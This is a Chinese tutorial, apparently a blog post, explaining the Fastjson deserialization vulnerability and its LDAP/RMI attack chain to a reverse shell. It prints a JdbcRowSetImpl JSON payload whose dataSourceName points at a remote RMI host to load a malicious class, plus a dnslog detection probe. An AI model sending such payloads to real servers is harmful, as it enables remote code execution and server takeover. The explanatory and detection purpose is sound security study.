fastjson漏洞

目录

一.fastjson的简述

二.fastjson原理

三.fastjson反序列漏洞利用条件:

四.fastjson整个的攻击步骤


一.fastjson的简述

Fastjson 是一个 Java 库,可以将 Java 对象转换为 JSON 格式,当然它也可以将 JSON 字符串转换为 Java 对象。

Fastjson 可以操作任何 Java 对象,即使是一些预先存在的没有源码的对象

二.fastjson原理

fastjson是阿里巴巴开发的一个快速处理json格式数据的一个框架,可以将json格式反序列化为一个对象,还可以将一个对象序列化为一个json格式数据,它里面有一个字段属性,这个属性标记了反序列化类,json格式在反序列化的时候会以这个类进行反序列化,当这个类给传的是有害的(JdbcRowSetImpl),就能调用里面的属性或者方法,这时候这里有JdbcRowSetImpl类,这个类有个datasource ,如果以JdbcRowSetImpl类来进行反序列化,并且datasource给的是一个rmi://ip/exp格式数据,就会触发以rmi协议去请求远程服务器上资源,如果这个资源是恶意的,就会造成命令命令执行

首先我们需要知道什么是fastjson格式,以及他序列化的一些形式

json格式数据

一个件,一个值

{

"key1" : "张三",//键:值

"key2" : 大忽悠"

}

也可以嵌套

fastjson是将json格式反序列化为对象,还可以将一个对象序列转换为json格式数据。

json={

"name":"yy",

"age":20,

"isStudent":123,

"student":"name":"stu",age:18//student是子类哈

}

序列化后:"name":"yy","age":20,"isStudent":123,{"student":"name":"stu",age:18,}

这里有个特性就是会将student这个子类省略,这样的话,在反序列化的时候啊,他不知道name这些属性是属于student这个类,这样就会报错。fastjson为了解决这个问题,就会进行标记。

json={

字段=(student)//同过这个形式进行标记这里就是漏洞点,这里有jdbc协议调用,比如"@type":"com.sun.rowset.jdbcRowSetImpl"

"name":"yy",

"age":20,

"isStudent":123,

"student":"name":"stu",age:18//子类

}

上面就是一个抽象理解过程

下面就是具体的代码理解

{

"b":{

"@type":"com.sun.rowset.jdbcRowSetImpl",//

"dataSourceName":"rmi://dnslog.cn/aaa",//请求rmi服务器上http服务器的aaa资源

"autoCommit":true

}

}

1.@type记录了该原始类型为JdbcRowSetImpl这个类,这样就能快速定位JdbcRowSetImpl 类来进行反序列化。

  1. dataSourceName为属性, rmi://dnslog.cn/aaa为属性值。 这个json数据,可以让fastjson以JdbcRowSetImpl类来反序列化json数据。然后反序列化的时 候会去请求rmi服务器,地址为: dnslog.cn/aaa。然后加载aaa这个有害class文件从而造成代 码执行。

三.fastjson反序列漏洞利用条件:

1.目标服务器存在fastjson。

2.没有对用户传输的数据进行严格过滤。

四.fastjson整个的攻击步骤

这里用ldap协议

1.攻击者使用payload(携带LDAP或rmi服务器的地址)发送给web服务器,网页。

2.web服务器中引发反序列化漏洞,进行ldap远程方法调用,去连接LDAP服务器的端口。

3.LDAP服务指定加载HTTP服务器的恶意java类,所以web页面通过LDAP 服务最终加载并执行了恶意java类。

4.web服务器执行恶意Java类,获得反弹shell,控制了服务器。

五.检测

{

"a":{

"@type":"java.net.Inet4Address",//用ipv4来检测。

"val":"获取的dnslog子域名"

}

}

相关推荐
纷飞梦雪1 小时前
使用chroot预安装软件到ubuntu22中
linux·运维·ubuntu
黑客笔记2 小时前
第11章 web应用程序安全(网络安全防御实战--蓝军武器库)
web安全·网络安全·wireshark
不脱发的猴子2 小时前
Wireshark使用教程
网络·测试工具·wireshark
黑客Jack3 小时前
属于网络安全规划重安全性需求
安全·web安全·php
小羊在奋斗4 小时前
【Linux网络】NAT技术、DNS系统、五种IO模型
linux·网络·智能路由器
jiarg6 小时前
linux 内网下载 yum 依赖问题
linux·运维·服务器
yi个名字6 小时前
Linux第一课
linux·运维·服务器
菜鸟xy..7 小时前
linux 基本命令教程,巡查脚本,kali镜像
linux·运维·服务器·kali镜像·巡查脚本·nmtui
暴躁的小胡!!!7 小时前
Linux权限维持之协议后门(七)
linux·运维·服务器·网络·安全
安 当 加 密7 小时前
中小企业Radius认证服务器的低成本高安全解决方案
运维·服务器·安全